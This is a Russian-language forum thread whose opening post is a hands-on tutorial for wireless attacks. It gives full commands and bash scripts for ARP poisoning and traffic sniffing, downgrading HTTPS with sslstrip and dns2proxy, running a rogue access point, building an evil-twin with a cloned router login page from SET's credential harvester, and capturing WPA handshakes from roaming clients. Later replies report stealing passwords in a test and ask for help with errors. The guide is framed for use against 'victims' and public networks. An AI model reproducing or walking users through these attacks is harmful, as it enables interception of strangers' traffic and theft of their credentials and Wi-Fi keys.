Привет ребзя! В этом топике будем изучать такие типы атак как Фейк Ацесс Поинт, Эвил Твин и МиТМ атаки через беспроводные сети... Тема довольно объёмная и требует хороших навыков ориентирования в сети и продвинутых скилов в беспроводных сетях. (новички проходят мимо) Так как несколько тем уже на форуме существовало но информация была не полная либо не объяснялся алгоритм действий и смысл каждой команды.Так как без МиТМ атаки нет смысла делать фейковую точку придётся учить весь материал )) Писать буду по мере возрастания сложности атак. 1.Определение хостов 2. IP-форвардинг, отравление ARP таблиц и перенаправление портов 3. Тихий МиТМ. (HTTP only) 4. Агрессивный МитМ. (HTTP и HTTPS) 5. DNS MiTM. 6. Fake_AP. 7. Ewil Twin. 8. Routerless WPA attack. (bonus) Пока еще не все виды атак я сам понял но я думаю, что это временно. Просто следите за темой. Spoiler: Часть 1 (Вступление) Вступление Для начала мы научимся ориентироваться в сети. Для продолжения вы должны уметь пользоваться nmap'om, netstat, netdiscovery, ifconfig. Допустим мы получили WEP/WPA/WPA2 ключ от сети и смогли в неё зайти. Что дальше? Мы должны определится где роутер, где мы , где жертвы (хосты). Для этого воспользуемся коммандой ifconfig root@Anonymous: ifconfig wlan0 - но так как информации более чем нам нужно мы её порежем... root@Anonymous: ifconfig wlan0 | grep 192 - она нам покажет какой айпи мы получили (многие сети начинаются с префикса 192... если у вас он отличается поправьте) Окей наш айпи мы узнали 192.168.1.5 ... где роутер? Для определения шлюза можно использовать команду route, netstat или сделав запрос на arp-таблицу arp. root@Anonymous: route -n root@Anonymous: netstat -rn root@Anonymous: arp Для определения хостов существует уйма программ, я расскажу о тех которыми пользуюсь сам.Самый быстрый способ это получить список через netdiscover'y Но информация будет не полная, только АйПи адреса и кол-во хостов. root@Anonymous: netdiscover -r 192.168.1.1/24 > netdiscover_chk.txt Также можно использовать fping эта команда позволяет указать кол-во запросов к хосту, если связь не очень качественная либо по другим причинам что даст повышенные шансы получить более полный список хостов. root@Anonymous: fping -Asg 192.168.1.1/24 > fping_check.txt Для настоящих куллхацкеров или олдфагов конечно же я посоветую старый и добрый nmap Как по моему мнению это самый крутой сканер... но он требует некоторых навыков обращения с ним... Я покажу несколько команд с помощью которых мы можем узнать нужную нам информацию. Первая это быстрый чек хостов root@Anonymous: nmap -F 192.168.1.1/24 -oN fast_nmap.txt Нмап быстро чекнет все хосты и сохранит в файле fast_nmap.txt Если мы захотим узнать более подробную информацию о хостах можно попробовать снять отпечаток OS root@Anonymous: nmap -O 192.168.1.1/24 -oN OS_nmap.txt Данная команда занимает больше времени чем остальные, чекнуть на каком этапе находится сканирование можно нажав клавишу "Enter" скрины и полные команды допишу вечером... Допустим мы определились с хостами , что делать дальше? Далее нужно настроить свою систему для запуска снифера. Читаем вторую часть... Spoiler: Часть 2 (IP-Forwarding) IP-Forwarding Я решил объединить в одном топике две части так как они не самые объемные. Так как с хостами мы определились, теперь нам нужно подготовить свой ноут/ПК/калькулятор под атаку "человек-по-середине". Для этого нужно сделать несколько базовых команд без которых дальше никуда... Для начала включим айпи-форвардиг. Эта команда нужно для того что бы наша машина могла передавать информацию между шлюзом и жертвой. root@Anonymous: echo "1" >/proc/sys/net/ipv4/ip_forward После ребута нашего хоста настройки сбрасываются. Далее нам нужно пробросить порты для того что бы снифер мог их слушать. root@Anonymous: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 root@Anonymous: iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080 Порт 8080 указан для примера, далее я напишу дефолтные порты для каждого из сниферов. Если вы не знаете какой порт использует снифер, нужно его сначала запустить а потом воспользоваться командой: root@Anonymous: netstat -anp --udp --tcp | grep LISTEN Видим по ID "1186" что порт слушается программой. Имя программы можно найти через команду top. После этого мы можем отравить arp-таблицу, для этого используется команда arpspoof. использовать арп-спуфинг вот так ... arpspoof -i wlan0 -t (target_ip) (gateway_ip) root@Anonymous: arpspoof -i wlan0 -t 192.168.1.10 192.168.1.1 Сразу после того как вы запустите арп-спуфинг весь трафик будет проходить через ваш ПК, внимательно проверьте, всё ли вы настроили как необходимо... Запуск снифера можно осуществлять сразу после отравления арп-таблицы. Для прослушки более одного хоста нужно запустить еще один терминал с arpspoof'ингом. Никаких других действий не нужно. Данная команда постоянно отправляет запросы на жертву подменяя в арп-таблице мак-адрес роутера на наш, тем самым позволяя думать что наша машина является шлюзом.
Часть 3. Тихий МиТМ . (HTTP only) Я назвал эту часть тихий МиТМ так как она не палит наш хост перед жертвой. Далее вы поймете о чем я говорю. Жертва не будет подозревать что её трафик прослушивается так как не происходит даунгрейда HTTPS до HTTP, соотв. не нужна подмена сертификатов. Данная атака самая простая и справится с ней не составит особого труда, данная атака скорее для ознакомления с базовыми понятиями чем для полноценного перехвата трафика. До сих пор еще не все сайты перешли на HTTPS и находятся в незащищенном протоколе HTTP что позволяет без особого труда перехватить информацию через снифер. Перехват через EtterCap Spoiler 1. IP-forwarding root@Anonymous: echo "1" >/proc/sys/net/ipv4/ip_forward 2. Port-forwarding root@Anonymous: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 3. EtterCap (ARP-Poisoning inclusive) Для запуска EtterCap в графическом режиме нужно ввести команду: root@Anonymous: ettercap -G 1) Ждём пока он загружается. После загрузки, ищем вкладку Sniff и выбираем Unified Sniffing… 2) Выбираем интерфейс wlan0/wlan1/eth0 через который мы хотим получить трафик. 3) Далее клацаем во вкладку Hosts и выбираем Scan for hosts. 4) После того как сканирование прошло , опять выбираем Hosts и выбираем Hosts list. 5) Из списка выбираем сначала роутер и клацаем Add to Target 1 6) И выбираем жертву и клацаем Add to Target 2 7) Окей , теперь нужно сделать отравление АРП-таблицы, что бы трафик потёк в нам. Клацаем вкладку Mitm и выбираем Arp poisoning… 8) Далее в выпадающем меню чекаем Sniff remote connections и нажимаем OK. 9) Далее переходим во вкладку Start и нажимаем Start sniffing... 10)Как только мы закончили атаку нужно прекратить отравление таблицы Клацаем MITM и выбираем Stop mitm attack(s) Запуск в текстовом режиме проходит намного быстрее и проще чем в графическом, но нужно немного навыков и внимания. Для запуска EtterCap в текстовом режиме нужно ввести комманду root@Anonymous: ettercap -T -Q -i wlan0 -M arp /192.168.1.1// /192.168.1.104// -T: запуск в текстовом режиме -Q: запуск в тихом режиме -M arp: Запускs MITM атаки через отравление ARP-таблицы // //: Определение хостов для атаки, сначала ай-пи роутера а потом жертвы. в слешах заносятся данные о хосте в таком виде MAC/IP/PORT для примера 08:00:27:09:FF:49/192.168.1.1/80. Опускаем маки и порты и оставляем только ай-пи /192.168.1.1/ С EtterCap'ом закончили... Перехват через MiTMProxy Spoiler Разрабатывался как альтернатива EtterCap'у, схожие функции, работать умеет только в текстовом режиме. 1. IP-forwarding root@Anonymous: echo "1" >/proc/sys/net/ipv4/ip_forward 2. Port-forwarding root@Anonymous: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 3. ARP-Poisoning inclusive root@Anonymous: arpspoof -i wlan0 -t 192.168.2.51 192.168.2.1 4. Запуск MiTMProxy root@Anonymous: mitmproxy -T --host Запускаем МиТМПрокси и ждём пока не появится трафик Как только трафик потёк ищем POST запросы. Переходим по вкладке на POST запросе в форму и смотрим заветную пару логин-пароль. Перехват через WireShark Spoiler Порядок действий: 1. IP_forward 2. Проброс портов 3. ARP-отравление 4. Запуск Wreshark Запускаем акулу (символ & нужен для запуска в фоновом режиме) root@Anonymous: wireshark & Далее указываем откуда будем брать трафик. Capture > Options -> wlan0 ->Start Так как наш трафик вещается в HTTP то в принципе ничего сложного нет, режем наш трафф фильтрами и ищем необходимую информацию. Тут всё очень просто, нужно использовать фильтр для POST-форм или GET-форм в зависимости от поставленной задачи. http.request.method == "POST" http.request.method == "GET" можно даже оба фильтра http.request.method == "POST" || http.request.method == "GET" В качестве бонуса также можно в отдельном терминале прикрутить следующие фишки... URLsnarf -просто показывает на какие ссылки юзверь заходит. net-creds - программа нацепленная на перехват паролей в трафике. С net-creds у меня были вопросы по его работе, тем более что в ЕттерКапе уже встроен перехват паролей. driftnet - программа для отображения всех картинощек которые отображаются в браузере жертвы. У программы есть полезная опция сохранять картинки в указанной папке (по-умолчанию в отдельном окне картинки просто будут показываться в порядке очереди) Из перечисленных программ, мне больше всего понравилась акула. Это моё ИМХО. Будем считать что HTTP трафик мы "раскатали". "Кстати говоря с помощью данной атаки можно легко перехватить пары от морды роутера. Большая часть морд роутеров висит на HTTP. Надо только лишь заставить хозяина роутера залезть на морду, как это сделать думаю вы додумаетесь."
Часть 4. Агрессивный МиТМ. (HTTP и HTTPS) Данная атака является продолжением предыдущей только с некоторыми улучшениями. Сюда еще добавляется SSLStrip+ и dns2proxy. Осуществляется подмена сертификата и обход HSTS, что позволяется полностью даунгрейдить HTTPS до HTTP со всеми вытекающими из этого последствиями... Работа с EtterCap (EtterCap + SSLStrip + dns2proxy) Spoiler 1. IP-forwarding root@Anonymous: echo "1" >/proc/sys/net/ipv4/ip_forward 2. Port-Forwarding root@Anonymous: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 root@Anonymous: iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080 root@Anonymous: iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53 3. EtterCap (ARP-poison inclusive) 4. SSLstrip root@Anonymous: /sslstrip/sslstrip.py -l 8080 5. dns2proxy root@Anonymous: /dns2proxy/dns2proxy.py Работа с WireShark (WireShark+ SSLStrip + dns2proxy) Spoiler 1. IP-forwarding root@Anonymous: echo "1" >/proc/sys/net/ipv4/ip_forward 2. Port-Forwarding root@Anonymous: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 root@Anonymous: iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080 root@Anonymous: iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53 3. ARP-Poison 4. SSLstrip root@Anonymous: /sslstrip/sslstrip.py -l 8080 5. dns2proxy root@Anonymous: /dns2proxy/dns2proxy.py 6. WireShark
Часть 5. DNS МиТМ. Данная атака является самой сложной... Цель атаки - прописывание в роутере жертвы вредного DNS-сервера, с последующей подменой сертификата перехвата трафика и прочими прелестями... Негативной стороной этой атаки будет очень большой пинг.... так как плечо от клиента к инету будет очень не хилое... КЛИЕНТ -> РОУТЕР -> FAKE-DNS -> НАШ РОУТЕР -> НАША МАШИНА -> НАШ РОУТЕР -> Internet
6. Rogue AP. (фейковая точка доступа) Данная атака рассчитана на поднятие открытой точки доступа в общественном месте. "Данная часть статьи писалась очень долго, по причине многих факторов (около месяца). Было пересмотрен не один способ поднятия точек доступа, но не один не подходил. Программными реализациями аля Wifisher и прочими я принципиально не хотел заворачиваться так как переписывать часть скриптов это головняк, проще с нуля написать свой." Fake-AP v1.0 Spoiler Code: #!/bin/bash #Устанавливаем DHCP - сервер (он нужен что бы раздать клиентам IP-адресс) #apt-get update #apt-get install isc-dhcp-server-y #Настраиваем файл конфигурации DHCP-сервера, один раз! #echo "authoritative;" > /etc/dhcp/dhcpd.conf #echo "default-lease-time 600;" >> /etc/dhcp/dhcpd.conf #echo "max-lease-time 7200;" >> /etc/dhcp/dhcpd.conf #echo "subnet 192.168.2.0 netmask 255.255.255.0 {" >> /etc/dhcp/dhcpd.conf #echo "option subnet-mask 255.255.255.0;" >> /etc/dhcp/dhcpd.conf #echo "option broadcast-address 192.168.2.255;" >> /etc/dhcp/dhcpd.conf #echo "option routers 192.168.2.1;" >> /etc/dhcp/dhcpd.conf #echo "option domain-name-servers 8.8.8.8;" >> /etc/dhcp/dhcpd.conf #echo "range 192.168.2.10 192.168.2.50;" >> /etc/dhcp/dhcpd.conf #echo "}" >> /etc/dhcp/dhcpd.conf #Убираем конфликт arimon-ng и Network-manager, один раз! #Перед включением монитора на нашей карте нужно исправить конфликт. #После внесения корректировки не нужно каждый раз убивать процессы которые мешаю нам перевести в режим монитора карту, #т.е. не нужно каждый раз вбивать airmon-ng check kill или прибивать Network-manager. #Настраиваем один раз! #echo "[keyfile]" >> /etc/NetworkManager/NetworkManager.conf #echo "unmanaged-devices=interface-name:wlan0mon;interface-name:wlan1mon;" >> /etc/NetworkManager/NetworkManager.conf #Меняем маки, каждый раз! ifconfig wlan0 down ifconfig wlan1 down ifconfig eth0 down macchanger -r wlan0 macchanger -r wlan1 macchanger -r eth0 ifconfig wlan0 up ifconfig wlan1 up ifconfig eth0 up #Запускаем точку доступа, каждый раз! airmon-ng start wlan0 airbase-ng --essid "DIR-300NRU" -c 6 -v wlan0mon airodump-ng -i wlan0mon -c 6 --essid "DIR-300NRU" #Настройка виртуального интерфейса at0, каждый раз! ifconfig at0 up ifconfig at0 192.168.2.1 netmask 255.255.255.0 #Добавляем маршрутизацию, каждый раз! route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1 #Настраиваем iptables, каждый раз! iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPT #Делаем порт-форвардинг с 80 на 10000 порт для снифера, каждый раз! iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 #Настраиваем интерфейс который смотрит в интернет(по-умолчанию это wlan1, но можно поменять на какой угодно): iptables -t nat -A POSTROUTING -o wlan1 -j MASQUERADE #для подключение по кабелю: #iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE #для подключение через USB-3G: #iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE #Очищаем DHCP-leases, каждый раз! echo > '/var/lib/dhcp/dhcpd.leases' #Запускаем DHCP-сервер, каждый раз! dhcpd -d -f -cf /etc/dhcp/dhcpd.conf at0 #Включаем IP-форвардинг, каждый раз! echo "1" > /proc/sys/net/ipv4/ip_forward Что в итоге получилось? Мы подняли фейковую точку доступа. На интерфейсе wlan0 у нас крутится дочка доступа и DHCP сервер, интернет мы берём с интерфейса wlan1.Весь трафик мы контролируем и смотрим. Не смотря на кажущуюся громоздкость общего числа команд, на самом деле все до примитивного просто. Весь процесс с автоматизацией занимает не более одной минуты. (при условии что есть начальный навык работы с баш-скриптами) Отдельное спасибо камраду user100 за его статью в 2012 году. 50% этого мануала написано оттуда, без него не смог бы реализовать данный тип атаки. Кое где конечно пришлось самостоятельно искать выход, но в целом существующей информации в открытых источниках хватило на 90%. Больше всего меня раздражал DHCP-сервер т.к. запустить без костылей смог только с 5-6 раза... Удобство такой атаки еще в том что ноутбук фактически превращается в мобильную точку доступа т.е. можно в любом месте ломануть роутер направить на него один адаптер а на втором поднять точку доступа и спокойно сидеть в нете с гаджетов. Для фильтрации нежелательных друзей просто указать мак-адресс своих устройств. Нашел более простую реализацию фейковой точки доступа... Fake-AP v2.0 Spoiler Code: #!/bin/bash #Подключаемся к интернету через интерфейс eth0,wlan1,ppp0 #Устанавливаем доп.софт, один раз! #apt-get install dnsmasq -y #Настраиваем DHCP-сервер,один раз! #echo -e "interface=at0\ndhcp-range=192.168.2.10,192.168.2.100,2h" > /etc/dnsmasq.conf #Поднимаем точку доступа. airmon-ng start wlan0 #Нужно запустить в отдельном окне! airbase-ng -e "DIR-300NRU" -c 6 wlan0 #Настраиваем фаервол, каждый раз! ifconfig at0 192.168.2.1 up iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPTED iptables -t nat -A POSTROUTING -o wlan1 -j MASQUERADE #Запускаем маскарад, каждый раз! dnsmasq #Делаем айпи-форвардинг, каждый раз! echo "1" > /proc/sys/net/ipv4/ip_forward
7. Ewil Twin. (атака "злой двойник") Смысл этой атаки очень прост - создаём клон оригинальной сети и подключаем туда жертву. Для реализации этой атаки необходимо два адаптера Wi-Fi. Через один адаптер поднимаем фейк, со второго дудосим точку донора. Для начала снифаем эфир в поиске необходимой точки. root@Anonymous: airodump-ng -i wlan0 как только необходимая точка найдена начинаем создавать двойника. Сам двойник состоит из Acess point +DHCP+ Apache + ... (буду добавлять ) Так как для подключения клиента нам необходимо только точное имя беспроводной сети то смена мака не требуется. Итак готовим наш фейк. (так как во время наших манипуляций мы будем использовать два беспроводных адаптера то наш клиент останется без инета хотя вариант с инетом полностью не отпадает об этом позже) Так как пароль от сети донора мы не знаем мы можем поднять только сеть без пароля но с тем же именем! root@Anonymous: airbase-ng -e "TP-LINK_0B130A" -c 6 wlan0 так как просто поднять точку недостаточно, необходимо выдать клиенту айпи и удержать его следует запустить ДХЦП сервак. Spoiler: Полный список комманд Code: #!/bin/bash #Подключаемся к интернету через интерфейс eth0,wlan1,ppp0 #Устанавливаем доп.софт, один раз! #apt-get install dnsmasq -y #Настраиваем DHCP-сервер,один раз! #echo -e "interface=at0\ndhcp-range=192.168.2.10,192.168.2.100,2h" > /etc/dnsmasq.conf #Поднимаем точку доступа. airmon-ng start wlan0 #Нужно запустить в отдельном окне! airbase-ng -e "DIR-300NRU" -c 6 wlan0 #Настраиваем фаервол, каждый раз! ifconfig at0 192.168.2.1 up iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPTED iptables -t nat -A POSTROUTING -o wlan1 -j MASQUERADE #Запускаем маскарад, каждый раз! dnsmasq #Делаем айпи-форвардинг, каждый раз! echo "1" > /proc/sys/net/ipv4/ip_forward после того как мы создали физическую точку, необходимо сделать морду роутера. Для этого мы используем SETOOLKIT + руки-из-плеч + немношко ХТМЛ сетулкит нам необходим что бы скопировать вебморду роутера и не создавать её с нуля. Для копирования морды необязательно наличие ломаного роутера аналога, можно использовать сайты симуляторы - например у ТП-Линка есть такие - http://www.tp-linkru.com/emulators.html Выбираем нужную нам модель, скармливаем сетулкиту и корректируем морду на свой вкус. root@Anonymous: setoolkit root@Anonymous: 1 (Social-Engineering Attack) root@Anonymous: 2 (Website Attack Vectors) root@Anonymous: 3 (Credential Harvester Attack Method) root@Anonymous: 2 (Site Cloner) root@Anonymous: 192.168.1.10 (указываем свой локальный айпишник) root@Anonymous: http://www.tp-linkru.com/resources/simulator/741nd4.20_ru/index.htm После этого наша фейковая страничка будет хранится в папке /root/.set/web_clone/index.html Который нужно подет подмарафетить для наших дел.. Копируем файл.. root@Anonymous: cp ~/.set/web_clone/index.html /var/www/index.html Теперь после запуска апача по адресу 127.0.0.1 будет отображатся морда роутера. Осталось только отредактировать её и сделать редирект на эту страницу. Далее следует...
Часть 8. Routerless WPA attack. (атака "перехват ключа WPA без роутера") Эта атака не имеет отношения к перехвату трафика , она нацелена на перехват ключа WPA от клиентов у которых включён модуль Wi-Fi и они болтаются в эфире (не ассоциированых с точкой доступа). Смысл в следующем: Так как у клиента висит ключ в списке PNL (prefered network list) т.к. называемый "Cписок Предпочтительных Сетей" мы можем его извлечь если поднимем фейковую точку доступа с оригинальным ESSID. Устройство получает ответ в эфире что сеть из списка есть в онлайне и автоматически к ней коннектится, так как у нас нет целого ключа то клиент нам отдаст 1 и 2 пары ключей, да это будет не полный HandShake но его хватит для брутфорса. Для произведения этой атаки нам нужна версия aircrack-ng 1.2 rc 4 (Kali Linux 2016.2) т.к. там убрали косяк в airbase-ng с дополнительной фейковой точкой "default" Порядок действий 1.Airodump-ng 2.Airbase-ng 3.Airodump-ng Для начала мы просто запустим airodump-ng для того что бы сканировать эфир на наличие клиентов с ключами... root@Anonymous: airodump-ng -i wlan0 После того как мы нашли клиентов у которых увидели сети из списка NPL мы скопируем оригинальное имя сети "ESSID" и поднимем точку с таким же именем... Но есть один момент, мы не знаем какой тип защиты был в этой сети, что же делать? Мы применим приём который называется "WiFi Fishing", этот метод был описан в книге "Penetration Wireless Networks with Kali Linux" но так как книга вышла давно немного поменилсь методы перевода адаптера в режим монитора, что немного усложняет нам работу. Если вы застали тот момент когда можно было создать несколько виртуальных интерфейсов для одного адаптера mon0, mon1, mon2 вы меня поймете. В книге поднимали 5 виртуальных интерфейсов и одновременно в сети появлялось 5 фейковых точек доступа т.е. клиент подключался автоматически к "правильной" точке и передавал часть ключа. И так пытаемся представить какой тип шифрования был возможен... WEP, WPA-TKIP, WPA-CCMP, WPA2-TKIP, WPA2-CCMP итого 5 типов = 5 фейковых точек. Допустим наш клиент врятли сидел на WEP точке (процент WEP сетей очень мал..) Spoiler: Статистика с сайта Wigle.net по состоянию базы на 21/09/2016 следующая... Unencrypted - 6.91 % (Открытые сети, кафе, аэропорты и прочие) Unknown - 19.59 % (Сети с не опознаным типом шифрования, думаю сюда вошли RADIUS сети) Encrypted (WEP+WPA+WPA2) 73.64 % WEP - 10.22 % WPA - 8.14 % WPA2 - 55.28 % тогда можно сократить кол-во точек до 4х (я не указал сеть "Open" потому что она идёт без ключа). С типами шифрования определились теперь поднимаем точку. root@Anonymous: airbase-ng -e "Home" -c 1 -z 2 -W 0 wlan0 Создаём точку с именем "Home", типом шифрования WPA-TKIP, на первом канале. root@Anonymous: airbase-ng -e "Home" -c 1 -z 4 -W 0 wlan0 Создаём точку с именем "Home", типом шифрования WPA-CCMP, на первом канале. root@Anonymous: airbase-ng -e "Home" -c 1 -Z 2 -W 0 wlan0 Создаём точку с именем "Home", типом шифрования WPA2-TKIP, на первом канале. root@Anonymous: airbase-ng -e "Home" -c 1 -Z 4 -W 0 wlan0 Создаём точку с именем "Home", типом шифрования WPA2-CCMP, на первом канале. Можно также создать фильтр для МАК-адресса нужного нам клиента, что бы к нам не лезли клиенты без нужного ключа.... Просто добавляем флаг --client <MAC> к концу нашей команды и все... остальные клиенты не смогут подключится... root@Anonymous: airbase-ng -e "Home" -c 1 -z 2 -W 0 wlan0 --client 00:11:22:33:44:55 Поставить фильтр на подкючение только клиента с маком "00:11:22:33:44:55" root@Anonymous: airbase-ng -e "Home" -c 1 -z 2 -W 0 wlan0 Записать эфир с первого канала, сети с именем "Home" Вот и всё, останется дождаться пока клиент сам не подключится к точке. В это время airodump-ng зафиксирует передачу ключа.
Скажите, возможен ли такой вариант?: На своем роутере с белым IP поднимаем DNS сервер и web сервер. В DNS прописать правило которое, например, заворачивает определенный домен на локальный web сервер. На web сервере положить фейк нужного сайта Прописать в роутере жертвы наш DNS.
А если это сделать прямо на роутере жертвы? т.е поднять web сервер и завернуть определенный сайт на фейк
Иначе как ты проведешь MiTM атаку.... КЛИЕНТ -> РОУТЕР -> Fake-DNS -> НашРоутер -> Наша Машина -> Наш Роутер -> Интернет
чтобы было неного легче ---- MiTm атака подразумевает в себе --- идет провод далее ты вклинился .....
Пробую провести атаку такого типа в своей wifi-сети на двух ноутах, один из которых жертва. Схема атаки такая: IP-forwarding + Port-Forwarding (редирект 80 и 443 портов на 8080) + arpspoof + SSLstrip+ + dns2proxy. Пароли смотрел через net-creds. Ещё пробовал поиграться с Cookie-Cadger (но не углублялся пока, поэтому ничего еще и не понял там). В системе два адаптера wlan0 (Atheros бучный) и wlan1 (usb адаптер на чипе Ralink 3070). С vk.com и ya.ru получилось. Не получилось с google.ru, mail.ru, icloud.com. Больше пока не пробовал. Так вот, в случае, например, с vk.com - прям видно как даунгрейдидтся https>http (загрузка дольше обычного, плюс картинки вообще могут не догружаться), но всё же авторизация проходит через http, и пароли в кармане, а в случае с google, mail и icloud - сайты не загружаются вообще с ошибками, связанными с dns. Пробовал без dns2proxy - сайты грузятся, авторизация проходит, но через https и net-creds, соответственно, ничего хорошего не показывает =) В связи с этим у меня вопрос об актуальности атаки такого типа. Или с помощью чего можно успешно совершать такую атаку? Или можно уже даже не бояться таких атак? Хотел еще попробовать Ettercap вместо arpspoof, но так и не допёр как его запустить в тестовом режиме, а именно что писать с обоих сторон до и после IP адресов? Например, мак(роутера)/192.168.0.1/порт(80 или какой?) мак(жертвы)/192.168.0.5/порт(тоже 80 или какой?)
Изучаю этот вопрос, к сожалению ничем кроме личных наблюдений пока не могу помочь... ettercap -T -Q -i wlan0 -M arp /192.168.0.5/ /192.168.0.1/ сначала хост а потом роутер...
И в графическом режиме Target 1 - это жертва, а Target 2 - это роутер? Я просто в разных материалах по-разному видел Подскажите, такие ошибки это нормально вообще или нет? Просто видел пишут, что это нормально. Думается мне, что это как раз ошибки, в коих случаях не удаётся даунгрйд до http, верно? Spoiler Code: sslstrip 0.9 + by Moxie Marlinspike running... + POC by Leonardo Nve Unhandled Error Traceback (most recent call last): File "./sslstrip.py", line 107, in main reactor.run() File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1194, in run self.mainLoop() File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1206, in mainLoop self.doIteration(t) File "/usr/lib/python2.7/dist-packages/twisted/internet/epollreactor.py", line 396, in doPoll log.callWithLogger(selectable, _drdw, selectable, fd, event) --- <exception caught here> --- File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 101, in callWithLogger return callWithContext({"system": lp}, func, *args, **kw) File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 84, in callWithContext return context.call({ILogContext: newCtx}, func, *args, **kw) File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 118, in callWithContext return self.currentContext().callWithContext(ctx, func, *args, **kw) File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext return func(*args,**kw) File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 610, in _doReadOrWrite self._disconnectSelectable(selectable, why, inRead) File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 255, in _disconnectSelectable selectable.connectionLost(f) File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 479, in connectionLost self._commonConnection.connectionLost(self, reason) File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 293, in connectionLost protocol.connectionLost(reason) File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 486, in connectionLost self.handleResponseEnd() File "/root/sslstrip2/sslstrip/ServerConnection.py", line 127, in handleResponseEnd HTTPClient.handleResponseEnd(self) File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 497, in handleResponseEnd self.handleResponse(b) File "/root/sslstrip2/sslstrip/ServerConnection.py", line 143, in handleResponse self.client.write(data) File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 896, in write raise RuntimeError('Request.write called on a request after ' exceptions.RuntimeError: Request.write called on a request after Request.finish was called. Unhandled Error Traceback (most recent call last): File "./sslstrip.py", line 107, in main reactor.run() File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1194, in run self.mainLoop() File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1206, in mainLoop self.doIteration(t) File "/usr/lib/python2.7/dist-packages/twisted/internet/epollreactor.py", line 396, in doPoll log.callWithLogger(selectable, _drdw, selectable, fd, event) --- <exception caught here> --- File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 101, in callWithLogger return callWithContext({"system": lp}, func, *args, **kw) File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 84, in callWithContext return context.call({ILogContext: newCtx}, func, *args, **kw) File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 118, in callWithContext return self.currentContext().callWithContext(ctx, func, *args, **kw) File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext return func(*args,**kw) File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 610, in _doReadOrWrite self._disconnectSelectable(selectable, why, inRead) File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 255, in _disconnectSelectable selectable.connectionLost(f) File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 479, in connectionLost self._commonConnection.connectionLost(self, reason) File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 293, in connectionLost protocol.connectionLost(reason) File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 486, in connectionLost self.handleResponseEnd() File "/root/sslstrip2/sslstrip/ServerConnection.py", line 127, in handleResponseEnd HTTPClient.handleResponseEnd(self) File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 497, in handleResponseEnd self.handleResponse(b) File "/root/sslstrip2/sslstrip/ServerConnection.py", line 143, in handleResponse self.client.write(data) File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 896, in write raise RuntimeError('Request.write called on a request after ' exceptions.RuntimeError: Request.write called on a request after Request.finish was called. Unhandled Error Traceback (most recent call last): File "./sslstrip.py", line 107, in main reactor.run() File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1194, in run self.mainLoop() File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1206, in mainLoop self.doIteration(t) File "/usr/lib/python2.7/dist-packages/twisted/internet/epollreactor.py", line 396, in doPoll log.callWithLogger(selectable, _drdw, selectable, fd, event) --- <exception caught here> --- File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 101, in callWithLogger return callWithContext({"system": lp}, func, *args, **kw) File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 84, in callWithContext return context.call({ILogContext: newCtx}, func, *args, **kw) File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 118, in callWithContext return self.currentContext().callWithContext(ctx, func, *args, **kw) File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext return func(*args,**kw) File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 610, in _doReadOrWrite self._disconnectSelectable(selectable, why, inRead) File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 255, in _disconnectSelectable selectable.connectionLost(f) File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 479, in connectionLost self._commonConnection.connectionLost(self, reason) File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 293, in connectionLost protocol.connectionLost(reason) File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 486, in connectionLost 